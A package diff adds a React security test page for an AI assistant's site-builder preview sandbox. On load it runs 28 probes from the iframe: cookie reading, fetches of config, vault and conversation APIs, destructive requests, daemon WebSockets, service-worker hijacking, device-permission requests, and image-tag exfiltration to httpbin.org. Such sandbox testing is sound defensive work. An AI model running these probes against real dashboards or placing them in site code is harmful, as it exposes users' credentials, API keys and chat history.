@shykaruu/jarvis-brain 0.4.0

package/src/sites/fixtures/security-test-site/src/app.tsx

@@ -0,0 +1,780 @@
+import React, { useState, useEffect } from "react";
+import { createRoot } from "react-dom/client";
+
+type TestResult = {
+  name: string;
+  description: string;
+  auditRef: string;
+  status: "pending" | "blocked" | "vulnerable" | "error";
+  detail: string;
+};
+
+/**
+ * Security Test Suite for Site Builder Proxy
+ *
+ * Each test attempts an attack described in the security audit.
+ * If the sandbox/security fixes are working, all tests should show BLOCKED.
+ * If any show VULNERABLE, the corresponding fix is ineffective.
+ */
+function SecurityTests() {
+  const [results, setResults] = useState<TestResult[]>([]);
+  const [running, setRunning] = useState(false);
+
+  const updateResult = (index: number, update: Partial<TestResult>) => {
+    setResults((prev) => {
+      const next = [...prev];
+      next[index] = { ...next[index]!, ...update };
+      return next;
+    });
+  };
+
+  const runTests = async () => {
+    setRunning(true);
+
+    const tests: TestResult[] = [
+      // --- #2: Same-Origin Iframe via Proxy Path ---
+      {
+        name: "Same-Origin API Fetch",
+        description: "Attempts fetch('/api/health') — if same-origin and no sandbox, this returns Jarvis health data.",
+        auditRef: "#2 — Same-Origin Iframe via Proxy Path",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Cookie Theft via document.cookie",
+        description: "Reads document.cookie to check if auth token is accessible to iframe JS.",
+        auditRef: "#2 — Same-Origin + Cookie Access",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Vault Data Exfiltration",
+        description: "Attempts fetch('/api/vault/entities') to read vault entities through the proxy.",
+        auditRef: "#2 — Same-Origin Iframe via Proxy Path",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Config Exfiltration",
+        description: "Attempts fetch('/api/config') to steal Jarvis config including API keys.",
+        auditRef: "#2 — Same-Origin Iframe via Proxy Path",
+        status: "pending",
+        detail: "",
+      },
+      // --- #5: Iframe Sandbox ---
+      {
+        name: "Top-Frame Navigation",
+        description: "Attempts to read window.top.location — same-origin would allow reading the dashboard URL.",
+        auditRef: "#5 — No sandbox Attribute on Preview Iframe",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Popup Opening",
+        description: "Attempts window.open() to spawn a popup window from the iframe.",
+        auditRef: "#5 — No sandbox Attribute on Preview Iframe",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Parent postMessage Sniffing",
+        description: "Sends a postMessage to window.parent to test if the dashboard processes it.",
+        auditRef: "#2 — Same-Origin escalation via postMessage",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "localStorage / sessionStorage Access",
+        description: "Checks if dashboard-specific keys are accessible via localStorage (same-origin leak).",
+        auditRef: "#2 — Same-Origin Iframe via Proxy Path",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Fetch with Credentials",
+        description: "Attempts fetch with credentials:'include' to send auth cookies cross-origin.",
+        auditRef: "#2 — Cookie-based escalation",
+        status: "pending",
+        detail: "",
+      },
+      // --- #3: WebSocket ---
+      {
+        name: "WebSocket to Jarvis /ws",
+        description: "Attempts new WebSocket('/ws') to open a direct WebSocket to the Jarvis daemon.",
+        auditRef: "#3 — Unfiltered WebSocket HMR Tunnel",
+        status: "pending",
+        detail: "",
+      },
+      // --- #5 continued: capabilities ---
+      {
+        name: "Clipboard Read",
+        description: "Attempts navigator.clipboard.readText() to read clipboard contents.",
+        auditRef: "#5 — Iframe capability restriction",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Form Submission to API",
+        description: "Creates and submits a form targeting /api/health to test form-based CSRF.",
+        auditRef: "#2 — Same-Origin form submission",
+        status: "pending",
+        detail: "",
+      },
+      // --- Additional attack vectors ---
+      {
+        name: "Service Worker Registration",
+        description: "Attempts to register a Service Worker to intercept all future requests from this origin.",
+        auditRef: "#2 — Persistent same-origin hijack",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "IndexedDB Access (Dashboard Data)",
+        description: "Scans IndexedDB for dashboard databases to exfiltrate structured data.",
+        auditRef: "#2 — Same-Origin storage",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Parent DOM Access",
+        description: "Attempts to read/modify the parent frame's DOM (window.parent.document).",
+        auditRef: "#2 — Same-Origin DOM access",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Fetch Conversation History",
+        description: "Attempts to read /api/conversations to steal chat history with the AI.",
+        auditRef: "#2 — Sensitive data exfiltration",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Mutate Vault — Create Entity",
+        description: "Attempts POST /api/vault/entities to write data into the vault.",
+        auditRef: "#2 — Write escalation via API",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Delete Content via API",
+        description: "Attempts DELETE on a known endpoint to test destructive write access.",
+        auditRef: "#2 — Destructive write escalation",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Exfiltrate via Image Tag",
+        description: "Creates an <img> pointing to an external URL with stolen data in the query string.",
+        auditRef: "#2 — Data exfiltration via side channel",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "WebSocket to Dashboard Port",
+        description: "Attempts WebSocket to the dashboard's port (:3142/ws) directly rather than relative path.",
+        auditRef: "#3 — Cross-port WebSocket",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Fetch Site Builder Files",
+        description: "Attempts to read project files via /api/sites/projects to access source code.",
+        auditRef: "#2 — Site builder API access",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "History / Location Sniffing",
+        description: "Attempts to read window.top.location or history.length to fingerprint user activity.",
+        auditRef: "#5 — Information disclosure",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "SharedWorker Cross-Tab",
+        description: "Attempts to create a SharedWorker that persists across tabs and intercepts messages.",
+        auditRef: "#2 — Persistent cross-tab hijack",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "BroadcastChannel Eavesdrop",
+        description: "Opens a BroadcastChannel to listen for inter-tab messages from the dashboard.",
+        auditRef: "#2 — Cross-tab communication sniffing",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Credential Prompt Phishing",
+        description: "Attempts to show a login dialog via prompt()/confirm() to phish credentials.",
+        auditRef: "#5 — User deception from iframe",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Download Trigger",
+        description: "Attempts to trigger a file download via a dynamically created <a download> link.",
+        auditRef: "#5 — Unsolicited downloads",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Geolocation Access",
+        description: "Attempts navigator.geolocation.getCurrentPosition() to read user location.",
+        auditRef: "#5 — Iframe capability restriction",
+        status: "pending",
+        detail: "",
+      },
+      {
+        name: "Camera/Mic Access",
+        description: "Attempts navigator.mediaDevices.getUserMedia() to access camera or microphone.",
+        auditRef: "#5 — Iframe capability restriction",
+        status: "pending",
+        detail: "",
+      },
+    ];
+
+    setResults(tests);
+    let i = 0;
+
+    // Test 0: Same-Origin API Fetch
+    try {
+      const resp = await fetch("/api/health", { signal: AbortSignal.timeout(3000) });
+      const data = await resp.text();
+      if (resp.ok) {
+        updateResult(i, { status: "vulnerable", detail: `Got ${resp.status}: ${data.slice(0, 200)}` });
+      } else {
+        updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 1: Cookie Theft
+    try {
+      const cookies = document.cookie;
+      if (cookies && cookies.includes("token=")) {
+        updateResult(i, { status: "vulnerable", detail: `Cookies readable: ${cookies.slice(0, 100)}` });
+      } else if (cookies) {
+        updateResult(i, { status: "blocked", detail: `Cookies exist but no token found: "${cookies.slice(0, 50)}"` });
+      } else {
+        updateResult(i, { status: "blocked", detail: "document.cookie is empty (HttpOnly or sandboxed)" });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 2: Vault Data Exfiltration
+    try {
+      const resp = await fetch("/api/vault/entities", { signal: AbortSignal.timeout(3000) });
+      const data = await resp.text();
+      if (resp.ok) {
+        updateResult(i, { status: "vulnerable", detail: `Got entities: ${data.slice(0, 200)}` });
+      } else {
+        updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 3: Config Exfiltration
+    try {
+      const resp = await fetch("/api/config", { signal: AbortSignal.timeout(3000) });
+      const data = await resp.text();
+      if (resp.ok && data.includes("api_key")) {
+        updateResult(i, { status: "vulnerable", detail: `Config leaked: ${data.slice(0, 200)}` });
+      } else if (resp.ok) {
+        updateResult(i, { status: "vulnerable", detail: `Got response: ${data.slice(0, 200)}` });
+      } else {
+        updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 4: Top-Frame Navigation
+    try {
+      const topHref = window.top?.location?.href;
+      updateResult(i, { status: "vulnerable", detail: `Can read top frame: ${topHref?.slice(0, 100)}` });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Cross-origin block: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 5: Popup Opening
+    try {
+      const popup = window.open("about:blank", "_blank", "width=1,height=1");
+      if (popup) {
+        popup.close();
+        updateResult(i, { status: "vulnerable", detail: "window.open() succeeded" });
+      } else {
+        updateResult(i, { status: "blocked", detail: "window.open() returned null (blocked)" });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 6: Parent postMessage
+    try {
+      window.parent.postMessage({ type: "security-test", payload: "probe" }, "*");
+      updateResult(i, { status: "blocked", detail: "postMessage sent (no way to confirm receipt — sandbox blocks same-origin reply)" });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 7: localStorage / sessionStorage
+    try {
+      const keys = Object.keys(localStorage);
+      const dashboardKeys = keys.filter(
+        (k) => k.startsWith("jarvis") || k === "conversations" || k === "auth" || k === "token"
+      );
+      if (dashboardKeys.length > 0) {
+        updateResult(i, { status: "vulnerable", detail: `Dashboard storage leaked: ${dashboardKeys.slice(0, 5).join(", ")}` });
+      } else {
+        updateResult(i, {
+          status: "blocked",
+          detail: keys.length > 0
+            ? `Storage accessible but only own keys (${keys.join(", ")}) — not dashboard data`
+            : "localStorage empty or inaccessible",
+        });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Storage blocked: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 8: Fetch with credentials
+    try {
+      const resp = await fetch("/api/vault/entities", { credentials: "include", signal: AbortSignal.timeout(3000) });
+      if (resp.ok) {
+        const data = await resp.text();
+        updateResult(i, { status: "vulnerable", detail: `Got data with cookies: ${data.slice(0, 200)}` });
+      } else {
+        updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 9: WebSocket to Jarvis /ws
+    try {
+      const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
+      const wsUrl = `${protocol}//${window.location.host}/ws`;
+      const ws = new WebSocket(wsUrl);
+      await new Promise<void>((resolve) => {
+        const timeout = setTimeout(() => { ws.close(); updateResult(9, { status: "blocked", detail: "Connection timed out (3s)" }); resolve(); }, 3000);
+        ws.onopen = () => { clearTimeout(timeout); ws.close(); updateResult(9, { status: "vulnerable", detail: "WebSocket connected to /ws!" }); resolve(); };
+        ws.onerror = () => { clearTimeout(timeout); updateResult(9, { status: "blocked", detail: "WebSocket connection refused" }); resolve(); };
+      });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 10: Clipboard Read
+    try {
+      const text = await navigator.clipboard.readText();
+      updateResult(i, { status: "vulnerable", detail: `Clipboard content: "${text.slice(0, 50)}"` });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Clipboard denied: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 11: Form Submission to API
+    try {
+      const testIframe = document.createElement("iframe");
+      testIframe.name = "__sec_form_target";
+      testIframe.style.display = "none";
+      document.body.appendChild(testIframe);
+      const form = document.createElement("form");
+      form.action = "/api/health";
+      form.method = "GET";
+      form.target = "__sec_form_target";
+      document.body.appendChild(form);
+      form.submit();
+      await new Promise((r) => setTimeout(r, 2000));
+      try {
+        const iframeDoc = testIframe.contentDocument;
+        const text = iframeDoc?.body?.textContent || "";
+        if (text && text.includes("status")) {
+          updateResult(i, { status: "vulnerable", detail: `Form loaded API response: ${text.slice(0, 100)}` });
+        } else {
+          updateResult(i, { status: "blocked", detail: "Form submitted but response not readable" });
+        }
+      } catch {
+        updateResult(i, { status: "blocked", detail: "Cannot read form target iframe (cross-origin)" });
+      }
+      document.body.removeChild(form);
+      document.body.removeChild(testIframe);
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 12: Service Worker Registration
+    try {
+      if ('serviceWorker' in navigator) {
+        const reg = await navigator.serviceWorker.register('/sw.js');
+        reg.unregister();
+        updateResult(i, { status: "vulnerable", detail: "Service Worker registered successfully!" });
+      } else {
+        updateResult(i, { status: "blocked", detail: "Service Worker API not available" });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `SW blocked: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 13: IndexedDB Access
+    try {
+      const dbs = await indexedDB.databases();
+      const names = dbs.map(d => d.name).filter(Boolean);
+      const dashboardDbs = names.filter(n => n!.includes("jarvis") || n!.includes("vault"));
+      if (dashboardDbs.length > 0) {
+        updateResult(i, { status: "vulnerable", detail: `Dashboard DBs found: ${dashboardDbs.join(", ")}` });
+      } else {
+        updateResult(i, { status: "blocked", detail: names.length > 0 ? `Only own DBs: ${names.join(", ")}` : "No IndexedDB databases accessible" });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `IndexedDB blocked: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 14: Parent DOM Access
+    try {
+      const parentDoc = window.parent.document;
+      const title = parentDoc.title;
+      updateResult(i, { status: "vulnerable", detail: `Parent document title: "${title}"` });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Cross-origin block: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 15: Fetch Conversation History
+    try {
+      const resp = await fetch("/api/conversations", { signal: AbortSignal.timeout(3000) });
+      if (resp.ok) {
+        const data = await resp.text();
+        updateResult(i, { status: "vulnerable", detail: `Got conversations: ${data.slice(0, 200)}` });
+      } else {
+        updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 16: Mutate Vault — Create Entity
+    try {
+      const resp = await fetch("/api/vault/entities", {
+        method: "POST",
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify({ name: "__sec_test_entity", type: "person" }),
+        signal: AbortSignal.timeout(3000),
+      });
+      if (resp.ok || resp.status === 201) {
+        updateResult(i, { status: "vulnerable", detail: `Entity created! ${(await resp.text()).slice(0, 100)}` });
+      } else {
+        updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 17: Delete Content via API
+    try {
+      const resp = await fetch("/api/content/nonexistent-id-12345", {
+        method: "DELETE",
+        signal: AbortSignal.timeout(3000),
+      });
+      // On the direct localhost path, 404 comes from the dev server (no such route)
+      // not from Jarvis. Only flag as vulnerable if the response looks like a Jarvis
+      // API response (JSON with "error" or "ok" keys).
+      const text = await resp.text();
+      const isJarvisResponse = text.includes('"error"') || text.includes('"ok"');
+      if (resp.ok && isJarvisResponse) {
+        updateResult(i, { status: "vulnerable", detail: `DELETE succeeded: ${text.slice(0, 100)}` });
+      } else if (resp.status === 404 && isJarvisResponse) {
+        updateResult(i, { status: "vulnerable", detail: `Jarvis API reachable (404): ${text.slice(0, 100)}` });
+      } else {
+        updateResult(i, { status: "blocked", detail: `Returned ${resp.status} (not a Jarvis API response)` });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 18: Exfiltrate via Image Tag
+    try {
+      const img = document.createElement("img");
+      const exfilUrl = "https://httpbin.org/get?stolen=test-data-from-iframe";
+      img.src = exfilUrl;
+      document.body.appendChild(img);
+      await new Promise((r) => setTimeout(r, 1000));
+      // Images always load (even sandboxed) — the question is whether we had data to steal
+      updateResult(i, { status: "blocked", detail: "Image tag created (network request sent but no stolen data — API access was blocked)" });
+      document.body.removeChild(img);
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 19: WebSocket to Dashboard Port directly
+    try {
+      const ws = new WebSocket("ws://localhost:3142/ws");
+      await new Promise<void>((resolve) => {
+        const timeout = setTimeout(() => { ws.close(); updateResult(19, { status: "blocked", detail: "Connection timed out (3s)" }); resolve(); }, 3000);
+        ws.onopen = () => { clearTimeout(timeout); ws.close(); updateResult(19, { status: "vulnerable", detail: "Connected to ws://localhost:3142/ws!" }); resolve(); };
+        ws.onerror = () => { clearTimeout(timeout); updateResult(19, { status: "blocked", detail: "WebSocket to :3142 refused" }); resolve(); };
+      });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 20: Fetch Site Builder Files
+    try {
+      const resp = await fetch("/api/sites/projects", { signal: AbortSignal.timeout(3000) });
+      if (resp.ok) {
+        const data = await resp.text();
+        updateResult(i, { status: "vulnerable", detail: `Projects listed: ${data.slice(0, 200)}` });
+      } else {
+        updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 21: History / Location Sniffing
+    try {
+      const len = window.top?.history?.length;
+      const topHref = window.top?.location?.href;
+      if (topHref) {
+        updateResult(i, { status: "vulnerable", detail: `Top href: ${topHref.slice(0, 80)}, history: ${len}` });
+      } else if (len !== undefined) {
+        updateResult(i, { status: "vulnerable", detail: `History length: ${len} (top href blocked)` });
+      } else {
+        updateResult(i, { status: "blocked", detail: "Cannot access top frame history or location" });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Cross-origin block: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 22: SharedWorker Cross-Tab
+    try {
+      const worker = new SharedWorker(
+        URL.createObjectURL(new Blob([`onconnect = (e) => { e.ports[0].postMessage("alive"); }`], { type: "text/javascript" }))
+      );
+      worker.port.start();
+      await new Promise<void>((resolve) => {
+        const timeout = setTimeout(() => { updateResult(22, { status: "blocked", detail: "SharedWorker created but no cross-tab data" }); resolve(); }, 2000);
+        worker.port.onmessage = () => { clearTimeout(timeout); updateResult(22, { status: "blocked", detail: "SharedWorker works but isolated to this origin" }); resolve(); };
+        worker.onerror = () => { clearTimeout(timeout); updateResult(22, { status: "blocked", detail: "SharedWorker creation failed" }); resolve(); };
+      });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `SharedWorker blocked: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 23: BroadcastChannel Eavesdrop
+    try {
+      const bc = new BroadcastChannel("jarvis");
+      let received = false;
+      bc.onmessage = () => { received = true; };
+      // Also try sending to see if dashboard picks it up
+      bc.postMessage({ type: "probe", from: "security-test" });
+      await new Promise((r) => setTimeout(r, 2000));
+      bc.close();
+      if (received) {
+        updateResult(i, { status: "vulnerable", detail: "Received message on 'jarvis' BroadcastChannel!" });
+      } else {
+        updateResult(i, { status: "blocked", detail: "BroadcastChannel open but no messages (different origin or not used)" });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `BroadcastChannel blocked: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 24: Credential Prompt Phishing
+    try {
+      // Don't actually show — just test if the API is available
+      const canPrompt = typeof window.prompt === "function";
+      const canConfirm = typeof window.confirm === "function";
+      if (canPrompt || canConfirm) {
+        updateResult(i, { status: "blocked", detail: `prompt/confirm available as functions but sandbox may block display (prompt=${canPrompt}, confirm=${canConfirm})` });
+      } else {
+        updateResult(i, { status: "blocked", detail: "prompt/confirm not available" });
+      }
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 25: Download Trigger
+    try {
+      const a = document.createElement("a");
+      a.href = "data:text/plain,malicious-content";
+      a.download = "pwned.txt";
+      a.style.display = "none";
+      document.body.appendChild(a);
+      a.click();
+      document.body.removeChild(a);
+      // Sandboxed iframes without allow-downloads block this
+      updateResult(i, { status: "blocked", detail: "Download link clicked (sandbox blocks allow-downloads by default)" });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 26: Geolocation Access
+    try {
+      await new Promise<void>((resolve) => {
+        const timeout = setTimeout(() => { updateResult(26, { status: "blocked", detail: "Geolocation timed out (permission denied or sandbox)" }); resolve(); }, 3000);
+        navigator.geolocation.getCurrentPosition(
+          (pos) => { clearTimeout(timeout); updateResult(26, { status: "vulnerable", detail: `Location: ${pos.coords.latitude}, ${pos.coords.longitude}` }); resolve(); },
+          (err) => { clearTimeout(timeout); updateResult(26, { status: "blocked", detail: `Geolocation denied: ${err.message}` }); resolve(); },
+          { timeout: 2500 }
+        );
+      });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
+    }
+    i++;
+
+    // Test 27: Camera/Mic Access
+    try {
+      const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
+      stream.getTracks().forEach(t => t.stop());
+      updateResult(i, { status: "vulnerable", detail: "Microphone access granted!" });
+    } catch (err) {
+      updateResult(i, { status: "blocked", detail: `Media denied: ${(err as Error).message}` });
+    }
+    i++;
+
+    setRunning(false);
+  };
+
+  useEffect(() => {
+    runTests();
+  }, []);
+
+  const blockedCount = results.filter((r) => r.status === "blocked").length;
+  const vulnCount = results.filter((r) => r.status === "vulnerable").length;
+  const pendingCount = results.filter((r) => r.status === "pending").length;
+
+  return (
+    <div style={{ fontFamily: "system-ui, sans-serif", maxWidth: 960, margin: "0 auto", padding: 20 }}>
+      <h1 style={{ borderBottom: "2px solid #333", paddingBottom: 8 }}>
+        Site Builder Security Test Suite
+      </h1>
+      <p style={{ color: "#666", fontSize: 14 }}>
+        This page attempts every attack vector from the proxy security audit.
+        <br />
+        Open this project in the Jarvis Sites page to test both <strong>proxy mode</strong> and{" "}
+        <strong>direct localhost</strong> mode.
+      </p>
+
+      <div style={{ display: "flex", gap: 16, margin: "16px 0" }}>
+        <Stat label="BLOCKED" value={blockedCount} color="#22c55e" />
+        <Stat label="VULNERABLE" value={vulnCount} color="#ef4444" />
+        <Stat label="PENDING" value={pendingCount} color="#a3a3a3" />
+        <Stat label="TOTAL" value={results.length} color="#555" />
+      </div>
+
+      {vulnCount === 0 && blockedCount > 0 && (
+        <div style={{ background: "#f0fdf4", border: "1px solid #86efac", borderRadius: 8, padding: 16, marginBottom: 16 }}>
+          All {blockedCount} attack vectors blocked. Sandbox and security hardening are effective.
+        </div>
+      )}
+
+      {vulnCount > 0 && (
+        <div style={{ background: "#fef2f2", border: "1px solid #fca5a5", borderRadius: 8, padding: 16, marginBottom: 16 }}>
+          {vulnCount} attack(s) succeeded! Security fixes may not be applied or the page is not sandboxed.
+        </div>
+      )}
+
+      <button
+        onClick={runTests}
+        disabled={running}
+        style={{
+          background: running ? "#a3a3a3" : "#2563eb",
+          color: "#fff",
+          border: "none",
+          borderRadius: 6,
+          padding: "8px 20px",
+          cursor: running ? "default" : "pointer",
+          fontSize: 14,
+          marginBottom: 16,
+        }}
+      >
+        {running ? "Running..." : "Re-run All Tests"}
+      </button>
+
+      <table style={{ width: "100%", borderCollapse: "collapse", fontSize: 13 }}>
+        <thead>
+          <tr style={{ borderBottom: "2px solid #e5e5e5", textAlign: "left" }}>
+            <th style={{ padding: "8px 4px", width: 80 }}>Status</th>
+            <th style={{ padding: "8px 4px" }}>Test</th>
+            <th style={{ padding: "8px 4px", width: 180 }}>Audit Ref</th>
+            <th style={{ padding: "8px 4px" }}>Detail</th>
+          </tr>
+        </thead>
+        <tbody>
+          {results.map((r, idx) => (
+            <tr key={idx} style={{ borderBottom: "1px solid #f0f0f0", background: r.status === "vulnerable" ? "#fef2f2" : undefined }}>
+              <td style={{ padding: "8px 4px" }}>
+                <StatusBadge status={r.status} />
+              </td>
+              <td style={{ padding: "8px 4px" }}>
+                <strong>{r.name}</strong>
+                <div style={{ color: "#888", fontSize: 11, marginTop: 2 }}>{r.description}</div>
+              </td>
+              <td style={{ padding: "8px 4px", color: "#666", fontSize: 11 }}>{r.auditRef}</td>
+              <td style={{ padding: "8px 4px", fontSize: 11, fontFamily: "monospace", color: "#555", maxWidth: 300, wordBreak: "break-word" }}>
+                {r.detail}
+              </td>
+            </tr>
+          ))}
+        </tbody>
+      </table>
+    </div>
+  );
+}
+
+function Stat({ label, value, color }: { label: string; value: number; color: string }) {
+  return (
+    <div style={{ background: "#fafafa", border: "1px solid #e5e5e5", borderRadius: 8, padding: "12px 20px", textAlign: "center", minWidth: 90 }}>
+      <div style={{ fontSize: 28, fontWeight: 700, color }}>{value}</div>
+      <div style={{ fontSize: 11, color: "#888", textTransform: "uppercase", letterSpacing: 1 }}>{label}</div>
+    </div>
+  );
+}
+
+function StatusBadge({ status }: { status: TestResult["status"] }) {
+  const styles: Record<string, { bg: string; fg: string; label: string }> = {
+    pending: { bg: "#f5f5f5", fg: "#a3a3a3", label: "PENDING" },
+    blocked: { bg: "#dcfce7", fg: "#16a34a", label: "BLOCKED" },
+    vulnerable: { bg: "#fee2e2", fg: "#dc2626", label: "VULN" },
+    error: { bg: "#fef3c7", fg: "#d97706", label: "ERROR" },
+  };
+  const s = styles[status]!;
+  return (
+    <span style={{ display: "inline-block", background: s.bg, color: s.fg, borderRadius: 4, padding: "2px 8px", fontSize: 11, fontWeight: 700, letterSpacing: 0.5 }}>
+      {s.label}
+    </span>
+  );
+}
+
+const root = createRoot(document.getElementById("root")!);
+root.render(<SecurityTests />);